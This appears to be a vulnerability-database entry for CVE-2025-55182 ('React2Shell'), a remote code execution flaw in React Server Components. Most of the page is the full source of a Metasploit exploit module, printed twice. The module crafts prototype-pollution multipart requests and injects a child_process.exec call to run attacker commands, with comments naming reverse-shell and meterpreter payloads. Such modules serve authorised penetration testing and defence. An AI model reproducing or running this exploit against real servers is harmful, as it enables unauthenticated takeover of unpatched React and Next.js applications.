10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
A critical unauthenticated Remote Code Execution RCE vulnerability exists in React Server Components RSC Flight protocol. The vulnerability allows attackers to achieve prototype pollution during deserialization of RSC payloads by sending specially...
Basic Information
ID
MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182-
Published
Dec 9, 2025 at 18:55
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in React and Next.js',
'Description' => %q{
A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
pollution during deserialization of RSC payloads by sending specially crafted multipart
requests with "__proto__", "constructor", or "prototype" as module names.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Lachlan Davidson', # Vulnerability Discovery
'maple3142' # Public Exploit
],
'References' => [
['CVE', '2025-55182'],
['CVE', '2025-66478'],
['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['windows']
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Payload' => {
'BadChars' => '"'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-03',
'Notes' => {
'AKA' => ['React2Shell'],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the React App', '/']),
]
)
end
def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
{
'then' => "$#{ref_idx}:then",
'status' => 'resolved_model',
'reason' => reason,
'value' => { 'then' => '$B' }.to_json,
'_response' => {
'_prefix' => node_payload,
'_formData' => {
'get' => "$#{ref_idx}:#{get_token}:constructor"
}
}
}.to_json
end
def get_random_value
random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample
end
def build_post_data(node_payload)
random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i
random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
random_get_token = ['then', 'constructor'].sample
chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)
post_data = Rex::MIME::Message.new
post_data.add_part(chunk, nil, nil, 'form-data; name="0"')
cycle_length = rand(random_ref_idx..9)
(1..cycle_length).each do |i|
value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value
post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
end
post_data
end
def send_payload(node_payload)
post_data = build_post_data(node_payload)
send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'headers' => { 'Next-Action' => '' },
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
end
def check
random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});"
res = send_payload(node_payload)
return CheckCode::Unknown("#{peer} - No response from web service") unless res
headers_text = res.headers.to_s
return CheckCode::Appears if res.code == 303 && headers_text.include?("/#{random_id};push")
CheckCode::Safe("The target #{target_uri} is not vulnerable")
end
def exploit
node_payload = "process.mainModule.require('child_process').exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});"
send_payload(node_payload)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in React and Next.js',
'Description' => %q{
A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
pollution during deserialization of RSC payloads by sending specially crafted multipart
requests with "__proto__", "constructor", or "prototype" as module names.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Lachlan Davidson', # Vulnerability Discovery
'maple3142' # Public Exploit
],
'References' => [
['CVE', '2025-55182'],
['CVE', '2025-66478'],
['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['windows']
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Payload' => {
'BadChars' => '"'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-03',
'Notes' => {
'AKA' => ['React2Shell'],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the React App', '/']),
]
)
end
def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
{
'then' => "$#{ref_idx}:then",
'status' => 'resolved_model',
'reason' => reason,
'value' => { 'then' => '$B' }.to_json,
'_response' => {
'_prefix' => node_payload,
'_formData' => {
'get' => "$#{ref_idx}:#{get_token}:constructor"
}
}
}.to_json
end
def get_random_value
random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample
end
def build_post_data(node_payload)
random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i
random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
random_get_token = ['then', 'constructor'].sample
chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)
post_data = Rex::MIME::Message.new
post_data.add_part(chunk, nil, nil, 'form-data; name="0"')
cycle_length = rand(random_ref_idx..9)
(1..cycle_length).each do |i|
value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value
post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
end
post_data
end
def send_payload(node_payload)
post_data = build_post_data(node_payload)
send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'headers' => { 'Next-Action' => '' },
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
end
def check
random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});"
res = send_payload(node_payload)
return CheckCode::Unknown("#{peer} - No response from web service") unless res
headers_text = res.headers.to_s
return CheckCode::Appears if res.code == 303 && headers_text.include?("/#{random_id};push")
CheckCode::Safe("The target #{target_uri} is not vulnerable")
end
def exploit
node_payload = "process.mainModule.require('child_process').exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});"
send_payload(node_payload)
end
end